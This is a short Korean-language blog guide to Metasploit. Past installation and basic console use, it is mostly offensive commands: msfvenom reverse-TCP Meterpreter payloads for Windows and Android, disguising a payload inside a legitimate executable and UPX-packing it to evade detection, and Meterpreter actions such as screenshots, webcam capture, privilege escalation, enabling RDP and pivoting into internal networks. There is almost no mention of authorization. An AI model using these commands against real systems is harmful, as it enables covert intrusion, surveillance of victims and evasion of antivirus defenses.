Metasploit 기초 가이드

Metasploit 개요

Metasploit는 오픈소스 침투 테스트 프레임워크로, 수천 개의 공개된 취약점 모듈과 테스트 도구를 포함합니다. Ruby 언어로 개발된 모듈은 사용자 정의 수정이 가능하며, 선택한 공격 모듈에 대한 매개변수 설정만으로 취약점 테스트 및 활용을 자동화합니다.

플랫폼별 설치 방법

Windows 환경

공식 사이트에서 설치 프로그램 다운로드 후 관리자 권한으로 실행합니다. 설치 시 PostgreSQL 데이터베이스가 함께 구성되며, 데스크톱 바로 가기 생성 후 관리자 권한으로 실행합니다. 웹 인터페이스도 제공됩니다.

Linux 환경

git clone https://github.com/rapid7/metasploit-framework.git
cd metasploit-framework
chmod +x msfconsole && ./msfconsole

또는 통합 설치 스크립트 실행:

curl -LO https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb
chmod +x msfupdate.erb && ./msfupdate.erb

Android 환경

루팅된 기기에서 Termux 설치 후 패키지 업데이트:

pkg update && pkg upgrade -y

Linux 설치 절차 동일하게 진행

기본 명령어 활용

db_status              # 데이터베이스 연결 상태 확인
db_nmap                # Nmap 스캔 실행 및 결과 저장
search ssh             # SSH 관련 모듈 검색
use auxiliary/scanner/ssh/ssh_login  # 모듈 선택
show options           # 필수 매개변수 확인
set RHOSTS 192.168.1.0/24  # 대상 네트워크 설정
run                    # 모듈 실행

악성 페이로드 생성

역방향 연결 페이로드 생성 예시:

msfvenom -p windows/meterpreter_reverse_tcp \
LHOST=서버_IP LPORT=5555 \
-f exe > payload.exe

Android용 페이로드:

msfvenom -p android/meterpreter_reverse_tcp \
LHOST=서버_IP LPORT=5555 -o android_payload.apk

탐지 회피 기법

실행 파일 위장:

msfvenom -p windows/meterpreter_reverse_tcp LHOST=서버_IP \
-x legitimate.exe -k -f exe -o disguised.exe

UPX 패킹 적용:

upx --best disguised.exe -o packed.exe

Meterpreter 활용

sysinfo                 # 시스템 정보 확인
screenshot              # 화면 캡처
webcam_snap             # 웹캠 사진 촬영
getsystem               # SYSTEM 권한 상승
run post/windows/manage/enable_rdp  # 원격 데스크톱 활성화
portfwd add -L 8080 -r 내부_IP -p 3389  # 포트 포워딩

내부 네트워크 대상 작업

세션 기반 라우팅 설정:

run autoroute -s 10.0.0.0/24
run autoroute -p        # 라우팅 테이블 확인

내부 네트워크 스캔:

use auxiliary/scanner/portscan/tcp
set RHOSTS 10.0.0.0/24
run

태그: Metasploit 침투_테스트 msfvenom meterpreter 악성코드_탐지_회피

6월 19일 02:41에 게시됨